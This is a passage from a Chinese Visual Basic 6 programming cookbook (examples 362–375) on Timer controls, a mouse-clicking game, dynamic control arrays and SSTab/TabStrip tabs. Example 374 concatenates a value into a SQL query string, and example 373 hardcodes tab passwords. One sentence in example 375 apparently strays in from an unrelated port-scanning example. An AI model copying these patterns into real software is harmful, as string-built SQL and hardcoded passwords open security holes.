（1）显示有模式窗体，并在该窗体中的Label控件显示提示信息。

（2）在对话框中将按钮被按下的状态保存在一全局变量中（标准模块内）。

（3）根据全局变量的值判断被按下的是对话框中的哪一个按钮，并执行相应的操作。

（4）通过对计时器的使用进行倒计时，并在倒计时完毕后执行相应的操作。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认“名称”属性为Form1。

（2）新建一个窗体，设置窗体名称为Frm_Msg。

（3）在窗体上添加两个命令按钮和两个标签控件。

（4）主要程序代码如下：



Private Sub Timer1_Timer()
    DoEvents
    Times = Timer1.Interval / 1000
    Cmd_Yes_Click
End Sub
 
Private Sub Timer2_Timer()
    DoEvents
    Times = Times - 1
    If Times >= 0 Then Label2.Caption = "倒计时:" & Times & "秒"
End Sub




秘笈心法

心法领悟362：使用Timer控件。

Interval属性是时钟控件最重要的属性。表示执行两次Timer事件的时间间隔，以ms（0.001s）为单位，取值范围为0～65535ms之间，所以最大的时间间隔大约为1分5秒。



 实例363　打老鼠游戏

光盘位置：光盘\MR\11\363

中级

趣味指数：[image: ]




实例说明

本实例是一个打老鼠的小游戏。在程序运行时，选择相应的等级，单击“开始”按钮，开始游戏，图片框中的“老鼠”不停移动，使用鼠标单击老鼠得分，时间限制为30秒，程序的运行效果如图11.51所示。

[image: ]
图11.51　打老鼠



关键技术

本实例使用了3个Timer控件，Timer1用于控制老鼠的显示位置，Interval属性设置为1000；Timer2用于控制结束时的事件，Interval属性设置为30000；Timer3用于计算并显示剩余时间，Interval属性设置为1000。

Timer控件只有一个Timer事件，Timer事件在一个Timer控件的预定的时间间隔过去之后发生，该间隔的频率存储于该控件的Interval属性中。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认“名称”属性为Form1。

（2）在Form1窗体上添加一个Frame控件，设置其Index属性值为0。

（3）在窗体上添加两个命令按钮。

（4）主要程序代码如下：



Private Sub Timer1_Timer()
    Randomize                                 '初始化随机变量
    R = Int(Rnd * 256 + 0)                       '把Rnd函数生成的随机数赋给变量R
    G = Int(Rnd * 256 + 0)                       '把Rnd函数生成的随机数赋给变量G
    B = Int(Rnd * 256 + 0)                       '把Rnd函数生成的随机数赋给变量B
    L = Int(Rnd * 5000 + 0)                      '把Rnd函数生成的随机数赋给变量L
    T = Int(Rnd * 2000 + 0)                      '把Rnd函数生成的随机数赋给变量T
    Image1.Left = Picture1.Left + L                 '用生成的变量L的值设置老鼠的Left位置
    Image1.Top = Picture1.Top + T                  '用生成的变量T的值设置老鼠的Top位置
End Sub
Private Sub Timer2_Timer()                    '停止游戏，按钮有效，时钟控件无效
    Timer1.Enabled = False
    Timer3.Enabled = False
    Image1.Visible = False
    Command1.Enabled = True
    Command2.Enabled = True
    Command3.Enabled = True
    If Text1.Text < 10 Then
        MsgBox "成绩不咋地"
    ElseIf Text1.Text < 20 Then
        MsgBox "真厉害！"
    Else
        MsgBox "打鼠英雄！"
    End If
End Sub
Private Sub Timer3_Timer()
    s = s + 1                                '使用时间累加
    Label1.Caption = 30 – s                    '将剩余时间显示在标签中
End Sub




秘笈心法

心法领悟363：Interval属性设置。

当Interval属性值为0时表示Timer控件无效。如果希望每半秒触发一次Timer事件，将Interval属性值设置为500；如果希望每一秒执行一次Timer事件，将Interval属性值设置为1000。


 11.7　其他应用



 实例364　利用Load和Unload动态添加、删除控件

光盘位置：光盘\MR\11\364

初级

趣味指数：[image: ]




实例说明

如果向窗体添加了下标为0的控件数组元素，可以用load语句动态添加控件数组元素。本实例实现动态添加和删除控件。运行程序后，单击“添加”按钮，即可动态添加3个Frame控件，单击“删除”按钮，可将新添加的控件删除，程序的运行效果如图11.52所示。

[image: ]
图11.52　动态添加和删除控件



关键技术

如果向窗体添加了下标为0的控件数组元素，可以用Load语句动态添加控件数组元素。删除控件数组元素时使用Unload语句，但要注意，只有在运行时添加到窗体上的控件数组元素才能用Unload语句卸载。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认“名称”属性为Form1。

（2）在Form1窗体上添加一个Frame控件，设置其Index属性值为0。

（3）在窗体上添加两个命令按钮。

（4）主要程序代码如下：



Private Sub Command1_Click()
    Dim i
    For i = Frame1.ubound + 1 To Frame1.ubound + 3
        Load Frame1(i)
        Frame1(i).Left = (1000 + Frame1(0).Width) * i
        Frame1(i).Top = 500
        Frame1(i).Caption = "画册" & Str(i)
        Frame1(i).Visible = True
    Next
End Sub
 
Private Sub Command2_Click()
    For i = 1 To 3
       Unload Frame1(i)
    Next
End Sub




秘笈心法

心法领悟364：动态加载控件数组元素。

动态加载控件数组元素时，添加的控件数组元素下标值为当前的最大下标值加1。即使前面有元素被卸载也是将下标值自动设置为当前最大下标值加1。



 实例365　利用Shape控件实现按钮效果

光盘位置：光盘\MR\11\365

初级

趣味指数：[image: ]




实例说明

Shape控件用于在窗体、框架或图片框中绘制预定义的几何形状，如矩形、正方形、椭圆、圆角矩形和圆角正方形等。本实例运行后，将鼠标移到相应的菜单处即可实现按钮效果，如图11.53所示。

[image: ]
图11.53　利用Shape控件实现按钮效果



关键技术

本实例的实现利用到了Shape控件、Label控件以及Image控件。其实现过程为：当用户的鼠标移动到摆放在图片上的某个Label控件上时，将Shape控件移动到该Label控件上，并设置其Left、Top、Width、Height属性与Label控件相同。下面介绍关于Shape控件的Move方法。

Move方法用于移动控件，语法如下：



object.Move left, top, width, height




参数说明如表11.6所示。

表11.6　Move方法的参数说明



	参数
	说明



	object
	可选参数。一个对象表达式。如果省略object，带有焦点的窗体默认为object



	left
	必选参数。单精度值，指示object左边的水平坐标（x-轴）



	top
	可选参数。单精度值，指示object顶边的垂直坐标（y-轴）



	width
	可选参数。单精度值，指示object新的宽度



	height
	可选参数。单精度值，指示object新的高度





注意：
 只有left参数是必需的。但是，要指定任何其他参数，必须先指定出现在语法中该参数前面的全部参数。例如，如果不先指定left和top参数，则无法指定width参数。任何没有指定的尾部的参数则保持不变。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认“名称”属性为Form1。

（2）在Form1窗体上添加一个Image控件，设置其Picture属性。

（3）在Image1控件上的菜单位置处添加一个Label控件数组（Label1(0)～Label1(6)）。

（4）添加一个Shape控件。

（5）主要程序代码如下：



Private Sub Label1_MouseMove(Index As Integer, Button As Integer, Shift As Integer, X As Single, Y As Single)
    Select Case Index
    Case 0
        Shape1.Visible = True
        Shape1.Move Label1(0).Left, Label1(0).Top, Label1(0).Width, Label1(0).Height
    Case 1
        Shape1.Visible = True
        Shape1.Move Label1(1).Left, Label1(1).Top, Label1(1).Width, Label1(1).Height
    Case 2
        Shape1.Visible = True
        Shape1.Move Label1(2).Left, Label1(2).Top, Label1(2).Width, Label1(2).Height
'…此处代码省略
    End Select
End Sub




秘笈心法

心法领悟365：使用Shape控件的Shape属性。

Shape属性能够设置Shape控件的不同外观，可以设置成矩形、圆角矩形、正方形、圆形等不同形状。



 实例366　获得窗体中的控件名称列表

光盘位置：光盘\MR\11\366

中级

趣味指数：[image: ]




实例说明

特定的对象变量必须引用特定类型的对象或类。特定的窗体变量只能引用应用程序中的一个窗体（尽管可在该窗体的诸多实例中引用其中之一）。与此相似，特定的控件变量只能引用应用程序中的特定类型的控件。例如，本实例运行应用程序并单击“显示”按钮，窗体中所有文本框的Text属性将变成 "明日科技"；单击“设置”按钮，将第一个文本框Text属性设置为“我被改变了”，程序的运行效果如图11.54所示。

[image: ]
图11.54　获得窗体中的控件名称列表



关键技术

这里使用Controls集合实现获取窗体中控件信息。Controls集合的Count属性用于表明集合中的控件数量，而其Item方法则返回集合中的一个成员，语法如下：



object.Controls.Count
object.Controls(index)




Controls集合的语法包括下述部分。

❶object：一个对象表达式，其值为“应用于”列表中的对象。

❷index：一个整数，范围从0到Controls.Count-1。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认“名称”属性为Form1。

（2）在Form1窗体上添加3个文本框控件。

（3）在窗体上添加两个命令按钮。

（4）主要程序代码如下：



Private Sub Command1_Click()
    Dim anyText As TextBox
    Set anyText = Text1
    anyText.Text = "我被改变了"
End Sub
 
Private Sub Command2_Click()
    For i = 0 To Form1.Controls.Count - 1
        On Error Resume Next
        Form1.Controls(i).Text = "明日科技"
    Next i
End Sub




秘笈心法

心法领悟366：使用Controls集合。

Controls集合枚举部件中装入的控件，可用于对这些控件的遍历。例如，可以用来改变一个Form中所有Label控件的BackColor属性。



 实例367　为控件添加标题栏和控制按钮

光盘位置：光盘\MR\11\367

初级

趣味指数：[image: ]




实例说明

控件也能添加标题栏和控制按钮，添加了标题栏的控件与对话框一样，可以通过标题栏拖动控件，也可以通过标题栏上的控制按钮对控件进行最小化、最大化和关闭等操作，程序的运行效果如图11.55所示。

[image: ]
图11.55　为控件添加标题栏



关键技术

这里是通过API函数为控件添加标题栏，然后在标题栏上添加ControlBox的。欲实现上述功能需要借助于API函数GetWindowLong与SetWindowLong。使用GetWindowLong函数和SetWindowLong函数获取窗体状态和设置窗体状态。因为这两个函数已经在其他实例中介绍过，这里不再赘述。SetWindowPos函数在本程序中起到了重要的作用。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认“名称”属性为Form1。

（2）在Form1窗体上添加两个文本框控件和一个图片框控件。

（3）在窗体上添加两个命令按钮。

（4）主要程序代码如下：



Private Sub Command1_Click()
    setcontrolbox Text1                    '为文本框添加标题栏
End Sub
 
Private Sub Command2_Click()
    setcontrolbox Picture2                '为图像框添加标题栏
End Sub
Sub setcontrolbox(cbox As Control)
    Dim dwstyle
    dwstyle = GetWindowLong(cbox.hwnd, GWL_STYLE)
    Dim setTrue As Boolean
    setTrue = True
    If setTrue Then
        dwstyle = dwstyle Or WS_CAPTION Or WS_SYSMENU
    Else
        dwstyle = dwstyle - WS_SYSMENU
    End If
    dwstyle = SetWindowLong(cbox.hwnd, GWL_STYLE, dwstyle)
    SetWindowPos cbox.hwnd, cbox.Parent.hwnd, 0, 0, 0, 0, SWP_NOZORDER Or SWP_NOSIZE Or SWP_NOMOVE Or SWP_DRAWFRAME
    cbox.Refresh
End Sub




秘笈心法

心法领悟367：创建对话框样式控件。

按照本实例中的设计思路，设置SetWindowLong的消息参数为WS_DLGFRAME，可设置对话框样式的控件。



 实例368　画桃花

光盘位置：光盘\MR\11\368

初级

趣味指数：[image: ]




实例说明

画桃花程序是一个有趣的小游戏。用户可以根据自己的喜好设计出好看的桃花树。程序运行后在窗体上显示一个没有花的桃花枝，如图11.56所示。在窗体左侧选择要添加到树上的花，将鼠标移动到桃树的相应位置，单击鼠标左键将选择的桃花添加到树枝上，如果觉得画得不好，在已画到树上的桃花上单击鼠标右键即可将该花删除，笔者设计的桃花效果如图11.57所示。



	[image: ]

	[image: ]




	图11.56　画之前
	图11.57　画之后




关键技术

本实例通过动态添加控件数组实现画桃花的小游戏。在选项框中选择要画的花形，在图片框上单击鼠标即可在相应位置画上桃花，实际上是在相应位置添加了一个带有桃花图片的Image控件数组元素，此操作在图片框的MouseDown事件中完成。通过标记变量判断要添加的是哪个Image控件数组元素。

设计过程

（1）新建工程，将窗体的Caption属性设置为“画桃花”，并设置窗体背景颜色。

（2）在窗体上添加3个Image控件，分别设置Picture属性，放置3种不同的桃花，并将这3个Image控件的Index属性值都设置为0，使它们成为控件数组。

（3）在窗体上添加一个PictureBox控件，并设置其Picture属性为其加载一个桃花枝图片。

（4）在窗体上添加Label控件，用作提示信息和增加图片按下效果。

（5）主要程序代码如下：



Private Sub Picture1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
    Dim mouse As POINTAPI
    Dim myleft
    Dim mytop
    GetCursorPos mouse                              '此函数用户获取鼠标单击位置坐标
    myleft = X - 80                            '鼠标单击位置横坐标
    mytop = Y - 80                             '鼠标单击位置纵坐标
    If flag = 1 Then                                   '添加Command控件
        If Button = 1 Then '单击鼠标左键
            i = Image1.ubound + 1
            Load Image1(i)                         '添加控件数组元素
            Set Image1(i).Container = Picture1
            Image1(i).Left = myleft                   '设置Left属性值
            Image1(i).Top = mytop                 '设置Top属性值
            Image1(i).Visible = True                  '显示该控件
        End If
    End If
    If flag = 2 Then                                   '添加Text控件
        If Button = 1 Then '如果单击鼠标左键
            i = Image2.ubound + 1
            Load Image2(i)                             '加载Text控件数组元素
            Image2(i).Left = myleft                      'Left属性值
            Image2(i).Top = mytop                    'Top属性值
            Set Image2(i).Container = Picture1
            Image2(i).Visible = True                     '显示添加的控件
        End If
    End If
    If flag = 3 Then                                   '添加Label控件
        If Button = 1 Then                          '单击鼠标左键
            i = Image3.ubound + 1
            Load Image3(i)                          '加载控件元素
            Set Image3(i).Container = Picture1
            Image3(i).Left = myleft                     '设置Left属性值
            Image3(i).Top = mytop                   '设置Top属性值
            Image3(i).Visible = True                    '显示添加的控件
        End If
    End If
End Sub




秘笈心法

心法领悟368：一次绘制多个控件。

如果在窗体上绘制多个某种类型的控件，需多次单击相应的图标，然后在窗体上绘制。下面步骤解决单击一次图标即可在窗体上绘制任意多个相同类型的控件。

（1）按住Ctrl键。

（2）单击工具箱中要绘制的控件图标，然后释放Ctrl键。

（3）在窗体上绘制控件，即可画一个或多个同类型的控件。


第12章　ActiveX控件应用

框架类控件应用

进度条控件应用

CommonDialog控件应用

RichTextBox控件应用

TreeView控件应用

ListView控件应用

时间日期类控件应用






 12.1　框架类控件应用



 实例369　利用TabStrip控件与Frame控件实现选项卡

光盘位置：光盘\MR\12\369

中级

趣味指数：[image: ]




实例说明

应用程序中经常包含选项卡界面，TabStrip控件一般用于创建包含多个选项卡的对话框。本实例利用TabStrip与Frame控件实现选项卡的功能，程序的运行效果如图12.1所示。

[image: ]
图12.1　实现选项卡



关键技术

TabStrip控件不是容器。要想包含实际页面和它们的对象，必须使用Frame控件或者其他容器，它们的大小必须与控件中所有Tab对象共享的内部区域匹配。如果针对该容器使用了一个控件数组，则可以使特定的Tab对象与数组中的每一项相关联，并设置TabStrip控件置于最底层，保证对应的Frame控件数组不被遮住。本实例是将其他Frame控件数组设置为不可见，将与TabStrip控件选择选项卡对应的Frame控件设置为可见。

设计过程

（1）新建VB工程，窗体名称默认为Form1。

（2）在工程菜单中选择“工程”/“部件”命令，在打开的“部件”对话框中选中Microsoft Windows Common Control 6.0复选框，将TabStrip等控件添加到工具箱中。

（3）在窗体上添加一个TabStrip控件，使用鼠标右键单击该控件，在弹出的快捷菜单中选择“属性”命令，打开“属性页”对话框。在“属性页”对话框中选择“选项卡”选项卡，如图12.2所示。单击“插入选项卡”按钮，插入选项卡，并为其设置标题。这里添加3个选项卡，设置完成后单击“确定”按钮。

[image: ]
图12.2　添加选项卡



（4）在窗体上添加Frame控件数组（Frame1(0)～Frame1(2)），在每个Frame控件上添加相应的控件。

（5）主要程序代码如下：



Private CurFrame As Integer                            '下一个可见的Frame
Private mintCurFrame As Integer                            '当前可见的Frame
 
Private Sub Form_Load()
    Dim i As Integer
    For i = 1 To Frame1.Count - 1                                'Frame1(0)可见
        Frame1(i).Visible = False                            '将Frame控件隐藏
    Next i
    mintCurFrame = 1
End Sub
Private Sub Tabstrip1_Click()
    If TabStrip1.SelectedItem.Index = mintCurFrame Then Exit Sub         '不需要切换Frame控件
    Frame1(TabStrip1.SelectedItem.Index - 1).Visible = True                '显示新的Frame
    Frame1(mintCurFrame - 1).Visible = False                        '隐藏上一个Frame
    mintCurFrame = TabStrip1.SelectedItem.Index                    '记录当前索引
End Sub




秘笈心法

心法领悟369：设置TabStrip控件选项卡的方向位置。

通过TabStrip控件的Placement属性可以指定选项卡的上、下、左、右的位置。设置Placement属性为0（tabPlacementTop，默认值），选项卡出现在控件的上部；属性为1（tabPlacementBottom），选项卡出现在控件的下部；属性为2（tabPlacementLeft）选项卡出现在控件的左边；属性为3（tabPlacementRight），选项卡出现在控件的右边。



 实例370　为SSTab选项卡设置背景色

光盘位置：光盘\MR\12\370

中级

趣味指数：[image: ]




实例说明

设置SSTab控件选项卡的背景色可以使程序更加美观和人性化。本实例实现为SSTab控件的各个选项卡随机设置不同的背景色，程序的运行效果如图12.3所示。

[image: ]
图12.3　为SSTab控件设置背景色



关键技术

SSTab控件并没有设置选项卡背景颜色的属性，如果让每一个选项卡显示一种背景颜色，可在每个选项卡上使用Shape、Frame或Picture控件，本实例利用Shape控件设置背景色。下面介绍如何利用Shape控件设置背景颜色。

在每个选项卡上放置一个Shape控件，设置Shape属性值为0，并设置成Shape控件数组。添加控制Shape大小、位置和颜色的代码，即可实现为SSTab设置需要的背景颜色。

设计过程

（1）新建标准EXE工程。

（2）在工程菜单中选择“工程”/“部件”命令，打开“部件”对话框，选中Microsoft Tabbed Dialog Control 6.0复选框，将SSTab控件添加到工具箱中。在窗体上添加一个SSTab控件，并设置3个选项卡的Caption属性。

（3）主要程序代码如下：



Private Sub Form_Activate()
    Dim i As Integer
    Randomize                                            '初始化随机列表
    For i = 0 To 2
        Shape1(i).BackColor = RGB(Int(Rnd * 255), Int(Rnd * 255), Int(Rnd * 255))    '设置Shape控件背景色
        Shape1(i).Left = 0                                    '设置控件位置
        Shape1(i).Top = SSTab1.TabHeight
        Shape1(i).Width = SSTab1.Width                            '设置控件大小
        Shape1(i).Height = SSTab1.Height - SSTab1.TabHeight
    Next i
End Sub




秘笈心法

心法领悟370：设置SSTab选项卡的方向。

利用TabOrientation属性可以设置SSTab选项卡的方向（上、下、左、右）。如果将选项卡的位置设置为上、下以外的值时，就必须改变选项卡的字形。将选项卡放在左边或右边，都需要将文本旋转为竖直方向，在SSTab控件中只有TrueType(R)字体能够竖直显示。可以用Font属性或控件“属性页”中的“字体”选项卡改变字形。通常用Arial字体来替代Windows的默认字体sans serif。



 实例371　获得选项卡中所有控件

光盘位置：光盘\MR\12\371

中级

趣味指数：[image: ]




实例说明

本实例实现获得SSTab控件选项卡中的所有控件名称，并且程序运行后这些控件的名称自动显示在窗体的列表中，程序的运行效果如图12.4所示。

[image: ]
图12.4　获取选项卡中的所有控件



关键技术

本实例使用Container属性来获取控件的容器。Container属性用于返回或设置Form上控件的容器。在设计时不能使用，语法如下：



Set object.Container [= container]




参数说明

❶object：对象表达式。

❷container：一个对象表达式，其值是能够作为其他的控件容器使用的对象，按照说明的描述。

设计过程

（1）新建标准EXE工程。

（2）在工程菜单中选择“工程”/“部件”命令，打开“部件”对话框，选中Microsoft Tabbed Dialog Control 6.0复选框，将SSTab控件添加到工具箱中。在窗体上添加一个SSTab控件，并设置3个选项卡的Caption属性。

（3）在SSTab控件的选项卡上添加Label、TextBox等控件，并在窗体上添加一个ListBox控件。

（4）主要程序代码如下：



Private Sub Form_Activate()
    On Error Resume Next                                            '错误处理
    Dim tObj As Object                                            '声明对象类型变量
    For Each tObj In Me                                            '遍历窗体内的对象
        If tObj.Container.Name = "SSTab1" Then                            '如果对象名称为SSTab1
            List1.AddItem (tObj.Name)                                '添加列表项
        End If
    Next
End Sub




秘笈心法

心法领悟371：VB中的容器控件。

VB中的容器控件包含Frame控件、PictureBox控件和SSTab控件。



 实例372　为SSTab选项卡添加图标

光盘位置：光盘\MR\12\372

中级

趣味指数：[image: ]




实例说明

使用SSTab控件在选项卡之间进行切换时，如果给当前显示的选项卡标题添加一个图标，会使程序更具人性化效果。本实例实现在单击选项卡时为选项卡添加一个图标，程序的运行效果如图12.5所示。

[image: ]
图12.5　为SSTab选项卡添加图标



关键技术

利用SSTab控件的Click事件判断哪个选项卡具有焦点。利用TabPicture属性为选项卡添加图片（位图、图标或源文件）。利用LoadPicture函数为选项卡设置图片。

（1）TabPicture属性

该属性用于返回或设置在SSTab控件的指定选项卡上显示的位图或图标，语法如下：



object.TabPicture(tab) [ = picture ]




参数说明

❶object：对象表达式，其值是SSTab控件。

❷tab：数值表达式，它指定显示图片的选项卡。

❸picture：字符串表达式，它指定一幅图形。


说明：
 TabPicture属性中的Picture指定一幅图形。在运行时，可用LoadPicture函数，也可用另一个控件的Picture属性或Form对象的Picture属性来设置本属性。

例如，可用如下代码为SSTab的第一个选项卡设置一幅图标。



SSTab1.TabPicture(0) = LoadPicture(App.Path & "\temp.ICO")




（2）Tab属性

该属性用于返回或设置SSTab控件的当前选项卡，语法如下：



object.Tab [ = tabnumber ]




参数说明

❶object：对象表达式，其值是SSTab控件。

❷tabnumber：数值表达式，它指示一个特定选项卡，第一个选项卡总是0。


说明：
 当前选项卡移动到前面，即突出显示，并成为活动选项卡。

设计过程

（1）新建标准EXE工程。

（2）在工程菜单中选择“工程”/“部件”命令，打开“部件”对话框，选中Microsoft Tabbed Dialog Control 6.0复选框，将SSTab控件添加到工具箱中。在窗体上添加一个SSTab控件，并设置3个选项卡的Caption属性。

（3）在SSTab控件的选项卡上添加Label、TextBox等控件。

（4）主要程序代码如下：



Private Sub SSTab1_Click(PreviousTab As Integer)
    Select Case SSTab1.Tab                                        '判断选中的选项卡
    Case 0
        SSTab1.TabPicture(0) = LoadPicture(App.Path & "\temp.ICO")                '加载选项卡背景图片
        SSTab1.TabPicture(PreviousTab) = LoadPicture("")                        '清空背景
    Case 1
        SSTab1.TabPicture(1) = LoadPicture(App.Path & "\temp.ICO")
        SSTab1.TabPicture(PreviousTab) = LoadPicture("")                        '清空背景
        Text1.SetFocus
    Case 2
        SSTab1.TabPicture(2) = LoadPicture(App.Path & "\temp.ICO")
        SSTab1.TabPicture(PreviousTab) = LoadPicture("")                        '清空背景
    End Select
End Sub




秘笈心法

心法领悟372：设计时设置SSTab选项卡图像。

在设计时，要为SSTab选项卡设置Picture属性，可以使用鼠标右键单击该选项卡，在弹出的快捷菜单中选择“属性”命令，然后在“属性”对话框中设置属性。在运行时，可以用LoadPicture函数通过TabPicture属性为选项卡设置图片。



 实例373　限制用户切换SSTab选项卡

光盘位置：光盘\MR\12\373

中级

趣味指数：[image: ]




实例说明

使用SSTab控件设计程序时，有时需要根据用户权限设置哪些选项卡可用，哪些选项卡不可用。例如，本例在密码框中输入密码“111”，用户只能使用图片管理选项卡。在密码框中输入密码“222”，用户可以使用所有选项卡。密码输入错误，则所有选项卡不可用，如图12.6所示。

[image: ]
图12.6　限制用户切换SSTab选项卡



关键技术

本实例通过使用SSTab控件的TabEnabled属性来设置选项卡是否可用，从而实现限制切换选项卡的功能。TabEnabled属性用于返回或设置一个值，在选择SSTab控件中的选项卡时，该值确定选项卡是否可用，语法如下：



object.TabEnabled(tab)[ = boolean ]




参数说明

❶object：对象表达式，其值是一个SSTab控件。

❷tab：数值表达式，它指定了选项卡。

❸boolean：布尔表达式，它指定选项卡是否响应单击。

设计过程

（1）新建标准EXE工程。

（2）在工程菜单中选择“工程”/“部件”命令，打开“部件”对话框，选中Microsoft Tabbed Dialog Control 6.0复选框，将SSTab控件添加到工具箱中。在窗体上添加一个SSTab控件，并设置3个选项卡的Caption属性。

（3）在SSTab控件的选项卡上添加Label、TextBox等控件。

（4）主要程序代码如下：



Private Sub Form_Load()
        SSTab1.TabEnabled(0) = False                                '禁用选项卡
        SSTab1.TabEnabled(1) = False
        SSTab1.TabEnabled(2) = False
End Sub
Private Sub Text3_KeyDown(KeyCode As Integer, Shift As Integer)
    If KeyCode = vbKeyReturn Then                                '禁用选项卡
        Select Case Text3                                        '判断文本框中的数值
        Case "111"
            SSTab1.TabEnabled(0) = True                            '启用选项卡
            SSTab1.TabEnabled(1) = False                            '禁用选项卡
            SSTab1.TabEnabled(2) = False                            '禁用选项卡
        Case "222"
            SSTab1.TabEnabled(0) = True                            '启用选项卡
            SSTab1.TabEnabled(1) = True                            '禁用选项卡
            SSTab1.TabEnabled(2) = True                            '禁用选项卡
        End Select
        Text3.Visible = False                                    '文本框隐藏
        Label3.Visible = False                                    '标签隐藏
    End If
End Sub




秘笈心法

心法领悟373：禁用选项卡。

TabEnabled属性用于允许或禁用单个选项卡。可使用Enabled属性允许或禁用整个SSTab控件。



 实例374　利用SSTab控件设计系统设置程序

光盘位置：光盘\MR\12\374

中级

趣味指数：[image: ]




实例说明

利用SSTab控件设置用户权限，可以细化到某一个菜单下具体的功能模块。运行程序，选择要进行设置权限的操作员，切换不同的选项卡对其进行权限设置，单击“授权”按钮，授权成功，如图12.7所示。

[image: ]
图12.7　利用SSTab控件设计系统设置程序



关键技术

在本实例中利用SSTab控件作为容器存放CheckBox控件。其中每一个选项卡表示一个主菜单，每一选项卡中所存放的CheckBox控件表示每一主菜单下的一个子功能，如果选中相应功能的CheckBox控件，该控件所表示的菜单对于该用户来说即为可用，否则不可用。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认“名称”属性为Form1，设置Caption属性为“系统设置-操作员权限”。

（2）在Form1窗体上添加一个Frame控件，在Frame控件上添加4个Label控件，设置其Caption属性分别为“用户名称”、“职务”、“用户密码”和“确认密码”；添加4个TextBox控件。

（3）在窗体上添加一个ImageList控件和一个ListView控件。这两个控件都属于ActiveX控件，在使用前应先将其添加到工具箱中。为ImageList控件添加图标，作为ListView列表图标。

（4）右击添加到窗体上的ListView1控件，在弹出的快捷菜单中选择“属性”命令，打开“属性页”对话框。在“图像列表”选项卡中的“普通”下拉列表中选择ImageList1选项，单击“应用”和“确定”按钮。

（5）在窗体上添加一个SSTab控件。在“属性窗口”中设置其Tabs和TabsPerRow的属性值都为5。选择SSTab1控件上不同的选项卡，设置其Caption属性分别为“会议管理”、“办公管理”、“车辆管理”、“费用管理”和“系统管理”。并添加一个CheckBox控件数组（Check1(0)～Check1(22)）。控件组中各控件的Caption属性设置请参见光盘中的实例。

（6）添加5个CommandButton控件，设置其Caption属性分别为“增加”、“注册”、“删除”、“授权”和“取消”；添加一个ADO控件。

（7）主要程序代码如下：



Private Sub ListView1_Click()
    Cmd_qxgl.Enabled = True
    Adodc1.RecordSource = "select * from tb_user where user_name='" + ListView1.SelectedItem + "'"
    Adodc1.Refresh
    On Error Resume Next
    If Adodc1.Recordset.RecordCount > 0 Then
        Text1.Text = Adodc1.Recordset.Fields("user_name")
        Text2.Text = Adodc1.Recordset.Fields(3)
        For i = 0 To 22
            Check1(i).Value = Adodc1.Recordset.Fields(i)
        Next i
    Else
    End If
End Sub




秘笈心法

心法领悟374：设置SSTab选项卡的样式。

使用鼠标右键单击SSTab控件，在弹出的快捷菜单中选择“属性”命令，打开属性对话框。在属性对话框的“通用”选项卡中可以设置SSTab选项卡的样式，有两种样式可供选择。



 实例375　利用SSTab控件设计多选项卡浏览器

光盘位置：光盘\MR\12\375

中级

趣味指数：[image: ]




实例说明

利用多选项卡浏览器可以在浏览器内打开多个网页界面，并以选项卡的形式显示网页。输入网址打开网页，就会创建一个新的选项卡显示此网页。要查看已打开的网页，选择相应的选项卡显示相应的网页即可。多选项卡浏览器是一款方便实用的浏览器，界面如图12.8所示。

[image: ]
图12.8　利用SSTab控件设计系统设置程序



关键技术

下面介绍SSTab控件在本程序中用到的属性和方法。

（1）TabCaption属性

该属性返回或者设置SSTab控件的每个选项卡的标题，语法如下：



object.TabCaption(tab) [ = text ]




参数说明

❶object：对象表达式，其值是SSTab控件。

❷tab：数值表达式，它指定选项卡，标题应出现在这个选项卡上。

❸text：字符串表达式，其值是文本，它显示指定选项卡的标题。

运行程序后，输入网址打开网页将网页的标题赋给TabCaption属性，使选项卡标题显示所存放的网页的标题，代码如下：



SSTab1.TabCaption(SSTab1.Tab) = Combo1.Text




（2）Tabs属性

该属性返回或设置SSTab控件上的选项卡总数，语法如下：



object.Tabs [ = tabnumber ]




参数说明

❶object：对象表达式，其值是SSTab控件。

❷tabnumber：数值表达式，它指定应出现在控件上的选项卡的数目。自动将标题Tabx赋给选项卡，这里的x是0、1、2、3等。


说明：
 （1）可在运行时更改Tabs属性，从而添加新的选项卡或删除选项卡。

（2）在设计时，用Tabs属性连同TabsPerRow属性来决定控件显示的选项卡的行数。在运行时要使用Rows属性。由于用于输入开始和结束端口号的两个TextBox文本框是在主线程中创建的，因此StartScan方法中不能直接使用这两个TextBox文本框的对象名称，而需要使用定义的公共变量进行传值。

在本程序中使用Tabs属性动态添加新的选项卡，程序代码如下：



SSTab1.Tabs = SSTab1.Tabs + 1




在本程序中每次添加新选项卡后要显示新添加的选项卡，也就是最后一个选项卡。实现代码如下：



SSTab1.Tab = SSTab1.Tabs - 1




（3）TabVisible属性

该属性返回或设置一个值，该值指出在某个SSTab控件内的选项卡是可见的还是隐藏的。该属性在设计时不可用，语法如下：



object.TabVisible (tab) [ = boolean ]




参数说明

❶object：对象表达式，其值是SSTab控件。

❷tab：数值表达式，它指定应成为可视或隐藏形式的选项卡。

❸boolean：布尔表达式，它指定选项卡是可视的还是隐藏的。值为True时，选项卡可视；为False时，选项卡隐藏，并且可以调整选项卡之间的位置，使选项卡之间没有空隙。

在本程序中，当关闭一个Web页时需要卸载一个WebBrowser控件，然后使放置该Web页的SSTab控件的选项卡隐藏。将选项卡隐藏的代码如下：



SSTab1.TabVisible(SSTab1.Tab) = False




设计过程

（1）创建工程后，将窗体名称更改为frmBrowser，将Caption属性设置为“我的浏览器”。

（2）打开“菜单编辑器”，为程序创建菜单。

（3）在窗体上添加Line控件数组和Frame控件，用于设置工具栏的边框。

（4）在窗体上添加一个ToolBar控件，用作程序的工具栏，名称设置为tbToolBar。添加一个ImageList控件，为ToolBar控件按钮设置图片。这两个控件在使用之前都要先添加到工具箱中。

添加方法如下：选择“工程”/“部件”命令，打开“部件”对话框，选中Microsoft Windows Common Controls 6.0复选框，将ToolBar控件和ImageList控件添加到工具箱中。

（5）在窗体上添加一个SSTab控件，SSTab控件在使用前也需要先将其添加到工具箱中，同样是打开“部件”对话框，选中Microsoft Tabbed Dialog Control 6.0复选框，将SSTab控件添加到工具箱中。将添加到窗体上的SSTab控件的Tabs属性设置为1，使其显示一个选项卡。

